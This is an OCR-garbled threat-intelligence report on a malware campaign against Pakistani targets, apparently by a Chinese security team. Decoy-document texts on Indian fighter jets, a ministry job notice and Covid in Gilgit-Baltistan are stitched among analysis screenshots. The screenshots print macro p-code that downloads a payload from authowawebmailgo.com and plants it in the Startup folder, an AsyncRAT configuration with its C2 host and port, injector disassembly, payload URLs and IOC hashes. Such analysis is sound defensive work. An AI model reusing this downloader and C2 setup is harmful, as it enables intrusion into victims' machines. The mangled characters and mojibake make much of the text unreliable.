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India’s S5th Generation Fighter Jet ‘AMCA’
Under Speedy Development — Reports

Prior to AMCA, India had decided to work with Russia on joint development of a Fifth Generation
Fighter Aircraft (FGFA). However, this plan was abandoned in 2017 to promote indigenization and
reduce dependence on foreign technology.

India is aggressively working on developing its 5th generation advanced multirole combat
aircraft (AMCA). The primary aim is to develop the AMCA indigenously, reduce dependency
on foreign players like Russia and France and at the same time support the ‘Aatmanirbhar
Bharat’ mission.

The Indian Air Force (IAF) 1s reportedly working aggressively in collaboration with Hindustan
Aeronautics Limited (HAL) and the Aeronautical Development Agency to develop the
indigenous AMCA.

Earlier, India had decided to work with Russia on joint development of a Fifth Generation
Fighter Aurcraft (FGFA). However, this plan was abandoned in 2017 to promote indigenization
and reduce dependence on foreign technology. India was also not happy with the progress of
FGFA.

The modular design of the fifth-generation, twin-engine single-seat aircraft 1s said to be finalised.
“That is what we are putting our energies into,” Air Chief Marshal Rakesh Kumar Singh
Bhadauria said recently. More than most of his predecessors, Bhadauria has supported the need
to focus on indigenous design and manufacturing.

Six squadrons of AMCASs are planned nitially. The first flight 1s expected 1n 2024-25, followed
by trials and tests. It will be in full production by 2029.

Advanced Multirole Combat Aircraft (AMCA)

AMCA will be a single-seat, twin-engine, stealth all-weather multirole fighter awrcraft with
an indigenous AESA radar. In 2018, $60 million was allotted for prototype design and R&D.

The project will face sitmilar technology and knowledge transfer challenges as FGFA, because
‘no nation 1s willing to share its stealth technology” with India, a senior Indian official admatted.

The Aeronautical Development Agency (ADA) of the Defence Research and Development

Organisation (DRDO) and the Indian Air Force (IAF) are meanwhile moving swiftly on the
development of the advanced medium combat aircraft (AMCA).

The 25-ton jet will have all munitions in its belly and will be propelled by two engines capable of
super-cruise speeds. AMCA will have complex S-shaped serpentine intakes These hide the
spinning turbine blades in the engine and are a key stealth feature.
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QuoteRem 0x0000 0Ox001B "sPathUser = Environ$ ("TME™)"™

Line #24:
Lit5tr 0Ox000B "USERPRCFILE"™
BrgsLd Environ$ 0x0001
Lit5tr 0x000B "\Downloads\"
Concat

[ oC SratnuScrl

ine #25:

ine #26:
LitS5tr 0Ox0033 "http://authowawebmailgo.com/update/images/image. "
Ld sPathUserl
LitStr Ox000B "‘\msngrs.zip"
Concat
ArgsLd DownloadFile 0x0002
ot v

Line #27:

Line #28:
Lit5tr 0Ox000B "USERPRCFILE"™
ArgsLd Environ$ 0x0001
Lit5tr 0x000B "\Downloads\"
Concat
Lit5tr 0x000B "\msngrs.zip"
Concat
Lit5tr 0Ox000B "USERPRCFILE"™
BrgsLd Environ$ 0x0001
Lit5tr 0x000B "\Downloads\"
Concat
Lit5tr 0x000B "\msngrs.exe"
Concat
ArgsCall FileCopy 0x0002

Line #29:

Line #30:
LitStr Ox000B "USERPRCFILE"
BrgsLd Environ$ 0x0001
Lit5tr 0x000B "\Downloads\"
Concat
Lit5tr 0x000B "\msngrs.zip"
Concat
ArgsCall Kill 0x0001

Line #31:

Line #32:

Line #33:
Lit5tr 0Ox000B "USERPRCFILE"™
BrgsLd Environ$ 0x0001
Lit5tr 0x000B "\Downloads\"
Concat
LitStr Ox000B "‘\msngrs.exe"
Concat

Lit5tr Ox0007 "APPDATA"

ArgsLd Environ 0x0001

Lit5tr 0x002F "\Microsoft\Windows\S5tart Menu\Programs\Startup\"
Concat

Lit5tr 0x000B "\msngrs.exe"

Concat

RrgsCall FileCopy Ox0002

% URLIT:
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No.T&CP-9/28/2020
Ministry of Foreign Affairs
(Training & CP Section)

ELE T 1

Islamabad, the 19™ August, 2020

) Pahic Lom_:lon has informed regarding the vacancy position for the post of Adviser, Senior
Director, Economic, Youth and Sustainable Development Directorate (EYSD) announced by the
Commonwealth Secretariat. The last date for receipt of applications is Friday 28 August, 2020.

2, The Commonwealth Secretariat is secking individuals meeting the following criteria:
Education;

¢ Master's Degree on an equivalent post-graduate qualification in International Development,
Management, Economics, Pubilc Policy or & related discipline.

* Specialist training and knowledge of project/programme management methods, for example
Prince 2, PMP, MSP, P30 or equivalent would be an advantage

Experience;

* At least 10 years working experience in one or more of the following areas: project
méanagement, planning, monitoring, budgeting, evaluation, and co-ordination of the offices of
senior government officials or ministers

e Experience of project management and applying project management methodologies,
including technical and complex IT projects, ideally in an international organization

« Experience of successful application of budgeting and resource allocation procedures

» Experience of operating in a fast paced environment and delivering quality results within
short timescales

*  Experience of pre-empting and solving complex projects and operations
Fxnarience of workine effectively and collaborating with collcagues at all levels as well as

RAEAINZEBBEBHAXER, BRI AT
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odule= @0O2000001
b %% Anti @02000003
b # FindOSInfo @02000002
4 #2 p @0D2000004
bl ESEREEE
bl EsEER
2, .cctor() : @0600000B
Pp : @O600000C
) @0600000E
E [ @06000010
@0600000D
@0600000F
0.
@04000004

MNetRun @0200000
4 {} vuoo02
4 %% \,0001 @02000006
ol

=S it
e

=

L Antd
. BDOS b
L Group = . aes266. Decrypt {
. Hwid = TEOmTAOFIRF1hITITV.

. Serversignature =

. aez266. Decrypt (

0 @0e000011

L Antd)

. aez266, . BDOS) ;

. Group) ;

( . aez206, . Serversignature) ;

Settings. ServerCertificate = new #509Certificate? (Corvert. FromBasefdString (Settings. aez256. Decrypt (Settings. Certificate] )

»
00% -
1
EfR

result

NN

-

(System.Security.Cryptography.X509Certific...

e

Ah

(System.Security.Cryptography.X509Certificate...

o

(System.Security.Cryptography.X309Certificat...

e

-
o

(System.Security.Cryptography.X509Certificate...

%

(System.Security.Cryptography.X509Certif...

-

0.0 % % e e e e

=

a.kozow.com”

{[Subject] CMN=AsyncRAT Server [Issuer]

System.Security.Cryptography.SafeCertCante
System.Security.Cryptography. X509Certificates.

0x06EBCE08

AT Server®
System.Security.Cryptography. X509Certificates.
{9999/12/31 23:59:59}

{9999/12/21 23: }
{2020/7/13 15:17:46}
{2020/7/13 15:17:46}

System.Security.Cryptography X509Certificates.Public
[0:000004F6]

System.Security.Cryptography.Oid
"CN= RAT Server”

0x00000003

System.Security.Cryptography.X509Certificates.

FH3% C2: fiesta.kozow.com:4567

CN=AsyncRAT Serv..

System.Security.Cryptography....

. System.Security.Cryptography

System.Security.Cryptography.
System.Security.Cryptography....

System.

System.Security.Cryptography....
System.
System.
System.
System.
System.Security.Cryptography....
System.Security.Cryptography....
i
i

System.Security.Cryptography....

System.Security.Cryptography....

oll... System.Security.Cryptography....
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Subject: CN=AsyncRAT Server
Thumbprint: DEE2B1E9F3FDOFD8171648A3B528A85577C49FFA

SerialNumber: 00B27593843DC41AC674EA5021879CF5
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First CPEC and Now Covid - China: Gilgit-Baltistan’s Growing Woes.
|

Gilgit-Baltistan (G-B), in proportion to population, has the highest number of Covid-China
cases in Pakistan. So far, 607 people have tested positive in a territory with less than one and
half million people. Heroes like Dr. Osama Riaz and paramedic Malik Ashtar who
unfortunately died while performing duties without virus protective kits have become a
source to galvanize society. Locals blame the authorities for committing criminal negligence
by not transporting Dr. Osama to Islamabad to save his life. Dismal economic condition and
lack of preparedness could lead to more deaths in coming weeks.«

G-B is not a constitutional part of Pakistan and therefore survives on financial handouts from
Islamabad. Locals including the Chief Minister, Hafiz Rehman, blames Islamabad for denying

adequate funds to cope with the Covid-China situation. Islamabad continues to reject
provisions of protective gear with the excuse of fund shortage. Medical professionals are still
not sure about exact scope of positive cases as many people remain undetected due to
faulty testing kits. Authorities warn that Islamic devotees returning from the Tablighi Jamat
congregation could stimulate local virus transmission.«

Locals are yet to benefit from the medical aid which military helicopters collect from the

HARMOENSAE 25
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SecureCRT®

SecureCRT client for Windows, Mac, and Linux provides rock-solid terminal emulation for
computing professionals, raising productivity with advanced session management and a
host of ways to save time and streamline repetitive tasks. SecureCRT provides secure
remote access, file transfer, and data tunneling for everyone in your organization.

B ®son Bt S I @M Sl B @ [ 1]

Whether you are replacing Telnet or Terminal, or need a more capable secure remote
access tool, SecureCRT is an application you can live in all day long. With the solid
security of S5H, extensive session management, and advanced scripting, SecureCRT will
help raise your productivity to the nth degree.
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Microsoft Corporation is an American multinational technology company with
headquarters in Redmond, Washington. It develops, manufactures, licenses, supports, and
sells computer software, consumer electronics, personal computers, and related services.
Its best known software products are the Microsoft Windows line of operating systems,
the Microsoft Office suite, and the Internet Explorer and Edge web browsers. Its flagship
hardware products are the Xbox video game consoles and the Microsoft Surface lineup of
touchscreen personal computers. In 2016, it was the world's largest software maker by
revenue (currently Alphabet/Google has more revenue).[3] The word "Microsoft"is a
portmanteau of "microcomputer"” and "software".[4] Microsoft is ranked No. 30 in the
2018 Fortune 500 rankings of the largest United States corporationsby total
revenue.[5|Microsoft was founded by Bill Gates and Paul Allen on April4, 1975, to
develop and sell BASIC interpreters for the Altair 8800. It rose to dominate the personal
computer operating system market with MS-DOS in the mid-1980s, followed by
Microsoft Windows. The company's 1986 initial public offering (IPO). and subsequent
rise in its share price, created three billionaires and an estimated 12,000 millionaires
among Microsoft employees. Since the 1990s, it has increasingly diversified from the
operating system market and has made a number of corporate acquisitions, their largest
being the acquisition of LinkedIn for $26.2 billion in December 2016.[6] followed by
their acquisition of Skype Technologies for $8.5 billion in May 2011.[7]As 0of 2015,
Microsoft is market-dominantin the IBM PC compatible operating system market and
the office software suite market, although it has lost the majority of the overall operating
system market to Android.[8] The company also produces a wide range of other
consumer and enterprise software for desktops, laptops, tabs, gadgets, and servers,
including Internet search (with Bing). the digital services market (through MSN). mixed
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B Msgr.exe.vbs 14
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_ fastcall System::_ linkproc_ HandleAnyException({wvoid) proc near

ExceptionInfo

jmp System::_ linkproc__ HandleA ception(void)
_ fastcall system::_ linkproc_ HandleAnyException(void) endp

EEE
EE
EE
ecx,
EE
eax, o
ecx, ecx
ecx, ecx
eax
ecx, ecx
ecx, ecx
ecx, ecx
ecx, ecx
Func_VirtualProtectEx
ecx, ecx
ecx, ecx
CODE : 82465305 ecx, ecx
eax,
EE
ecx,
EEE
EEE
edx,

edi

EE
edi,
edx,
EE
EE
EE

loc_4653F9:

r [ecxt+eax],

FEBEMZE shellcode FF# 47, shellcode SR — PE, #ITHBEEHRIEME, HITK

HAr% 4 Ssphi Injector

ebx

dword ptr [edit
[ebptvar_C], eax
eax, ebx
loc_467879

eax, [ebptvar_24]
eax

eax, [ebptvar_78]
eax

ebx

ebx

ebx

ebx

ebx

eax, [ebptvar_288]

eax

ebx

dword ptr [edit

[ebptvar_2C], eax

eax, ebx

loc_467C22

eax, [ebptvar (]

d [eax],

eax, [esi+ 1

eax

[ebpt+var_24]

[ebptvar_38], eax

dword ptr [edi+

[ebptvar_14], ebx
d | [esi+

eax, [ebptvar 14]

eax

edi

CODE:@846898E E E sub_46742B
esp,
eax, eax
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URLs

Scanned Detections URL

2020-02-04 0/7 http://188.215.220.20/2 php
2020-05-20 0/80 http://188.215.229.20/1
2020-02-20 0/ http://188.215.229.20:53/2s=m

Communicating Files

Scanned Detections Type Name

2020-08-19 29 /70 Win32 EXE myclient.exe

2020-07-26 48 / 68 Win32 EXE Notepad NET.exe

2020-05-21 39 /73 Win32 EXE 010Editor

2020-05-30 57 /73 Win32 EXE FINAL exe

2020-07-17 52 /68 Win32 EXE audicpro.exe

20200212 55 /73 Win32 EXE fvar/www/clean-mx/virusesevidence/output. 147257188.txt
2020-07-20 48 /73 Win32 EXE puzzCode.exe
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FINAL.exe e7b6ec85ecelc431f07b4ad7e264190d http://92.118.190.16/FINAL.exe

audiopro.exe €3d422c2065ec3d9063929a1d4955416 http://anf.gov.pk/js/plugins/audiopro.exe

UA-COVID- 2d2fe787b2728332341166938a25fa26 http://anf.gov.pk/pmstesting/export/test/covid-
19.exe 19/UA-CQOVID-19.exe
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Drug Demand Reduction  *
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Budget & Accounts
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¥ Created on Movember 7, 1958

Mission

To excel and friumph in supplying customer focused
productsiservices and to be recognized as a most
respectable Brand in Pakistan as well as in International
Market which works on high Quality and Standards.

We are ensuring this goal through highly professional staff, ‘
sustainable working conditions and exceeding customer
expectations.

O

Our Story

Wah Industries Limited (WIL) established in
November 07, 1958 with a view to utilize surplus
% Call +51 905 523 206 production capacity as well as for the marketing and
m meiwahindustries © sales of commereial products which are of highest

quality and international standards.

sales@wahindustries.com . . .
= WIL is manufacturing 12 Bore Shaheen Cartridges,

ww wahindustries. com used for hunting and shooting sports, manufactured

hitps:/fiww
in Shot Gun A...

See More
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Subject:CN=AsyncRAT Server
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Policy_update.exe cab163e740e10b9572a6424e69cceld5 http://185.214.10.220/p.php
ef34e809b4a0e33eb1222409d13068ab http://185.214.10.220/p.php

JS¥A

BEl, ETHREEMBERPONEBEREENSL™ R, BRFRERMERTE
(TIP) . RE. RIRSEEMENFRL. FRE NGSOC, HFLESHBME, HELLXH

XTI K IEHROREFHEM . (Ti.gianxin.com),

TN

ALPHA

F¥E
ehes]

WA, P, SN RETHASHIMDSSHAL) . WEABNE (SHAT) MMM

|IOCs

1331b068477e2974894a899c855bfcdb



005e8de2974db8722073fa54e8b8d435
€91e10978ace80a789363288ffeel78a
878ad290280bb9e880c1366e8c386ela
c9d7b9eld2eadb8657ec84ff2d20b98c
59bc5eb1d3flaffd1496dfbb61f1537e
7b2b6e47e33dddce7406fc989592ab50
72503d7ef52495efa109941274b8769f
47568de42706aa3da39a03d1d0feddca
b96fe909c2d2f458abf71665celbblef
4cc8577c844e2492840aed08876eblcd
6d7d69e897351f6af2399bfdcf00983a
75c55e8a9b00ald724ef4d451da5806f
e7b6ec85ecelc431f07b4ad7e264190d
c3d422¢2065ec3d9063929a1d4955416
2d2fe787b2728332341166938a25fa26
d373bf68ceb8e395719aladbbefbabbd
842c3c8b62eded67ec529ab08ee87cda
33a2941742ed2f4b6b412d239711d6a3
8ade265cfbad8d136222dda60505b61d
94a87ee68fe8f998df3ffc84bb459ald
dee2bc2f5424874a5fc7cf51cdcd2b55
2d2fe787b2728332341166938a25fa26
d2d7723310c67b3df3d25529ca8b5a3b
cab163e740e10b9572a6424e69cceld5
ef34e809b4a0e33eb1222409d13068ab
authowawebmailgo.com
he-moondelight.96.It

hhwebmail.com

xtbcoremail.com

jspsession.com



sessionexpire.com

coremailxtbmainjsp.com
msword.windowsupdate.microsoft.msn.coremailxtSmainjsp.com
us02web.zoom.us.coremailxtSmainjsp.com
http://185.214.10.220/p.php

http://185.214.10.220/2.php

http://92.118.190.16/FINAL.exe
http://anf.gov.pk/js/plugins/audiopro.exe
http://anf.gov.pk/pmstesting/export/test/covid-19/UA-COVID-19.exe
http://wahindustries.com.pk/js/plan.exe
http://185.214.10.220/1/KB-Auto-win-update.exe
http://coremailxtSmainjsp.com/ps/sgrm.exe

http://185.214.10.220/1/officers_list.apk



fiR1 SFRERPMERFL

FREADERPORBIERTREFER AT (FLEEE) ETHEWERESE
WA IZ O PO AT N L 2 REE TR AEM, ETHLEKPRENLOLTEERA,
BT AKX NENZE AT E, BERANAEIEES, KNEMEMEROEN. £

H. RANNEBESD, HhUAYERAZEEESHIFNMEEBINE SER.

FRIEFMERPOITIMRESFEEMLLA https://tigianxin.com/, FREFEEIEES %
EMNFZ= e e EEM, AREMTAREELLVAFRHEMEBIENEE, K%
RIR, EHERUY, WEARBHT, HRRE THREFSHEENEDEREIES BME
RS

BEAKRS:
TLEREMERBO TFLEREEETL




piR2 £IM9EERN (RedDrip Team)
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